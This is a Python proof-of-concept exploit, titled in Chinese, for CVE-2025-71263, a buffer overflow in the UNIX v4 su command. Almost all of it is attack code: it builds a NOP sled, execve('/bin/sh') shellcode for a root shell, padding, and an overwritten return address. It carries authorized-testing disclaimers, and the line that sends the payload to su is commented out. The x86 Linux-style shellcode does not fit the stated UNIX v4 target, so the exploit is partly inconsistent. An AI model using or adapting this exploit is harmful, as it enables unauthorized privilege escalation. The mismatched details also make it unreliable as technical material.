CVE-2025-71263: UNIX v4 su命令缓冲区溢出导致本地权限提升

#!/usr/bin/env python3 """ CVE-2025-71263 PoC - UNIX v4 su command buffer overflow This PoC demonstrates the buffer overflow in the su command's password handling. Note: This is for educational and authorized testing purposes only. """ import subprocess import struct import sys def create_exploit_payload(): """ Create a payload that exploits the 100-byte password buffer overflow. The payload is designed to overwrite the return address on the stack. """ # Buffer size in the vulnerable code BUFFER_SIZE = 100 # NOP sled for more reliable exploitation nop_sled = b'\x90' * 40 # Shellcode for spawning a root shell (example) # This is a simple execve("/bin/sh", ["/bin/sh", NULL], NULL) shellcode shellcode = ( b'\x31\xc0' # xor eax, eax b'\x50' # push eax b'\x68' # push \x2f\x2f\x73\x68 (//sh) b'//sh' b'\x68' # push \x2f\x62\x69\x6e (/bin) b'/bin' b'\x89\xe3' # mov ebx, esp b'\x50' # push eax b'\x53' # push ebx b'\x89\xe1' # mov ecx, esp b'\x31\xd2' # xor edx, edx b'\xb0\x0b' # mov al, 0xb (execve) b'\xcd\x80' # int 0x80 ) # Padding to reach the return address padding = b'A' * (BUFFER_SIZE - len(nop_sled) - len(shellcode)) # Target return address (would need to be determined for specific target) # This is a placeholder - in real exploitation, this should point to nop sled or shellcode return_address = struct.pack('<I', 0xbffff500) # Example stack address payload = nop_sled + shellcode + padding + return_address return payload def test_vulnerability(): """ Test if the system is vulnerable by attempting to trigger the buffer overflow. """ print("[*] CVE-2025-71263 - UNIX v4 su command Buffer Overflow") print("[*] This PoC is for authorized testing only") try: payload = create_exploit_payload() print(f"[*] Generated payload length: {len(payload)} bytes") print(f"[*] Payload (hex): {payload.hex()}") # In a real scenario, this would be passed to the su command # subprocess.run(['su', '-c', 'id'], input=payload, timeout=5) print("[!] Note: This vulnerability affects UNIX v4 which is rare in production") print("[!] Actual exploitation requires the vulnerable UNIX v4 system") except Exception as e: print(f"[-] Error: {e}") if __name__ == '__main__': test_vulnerability()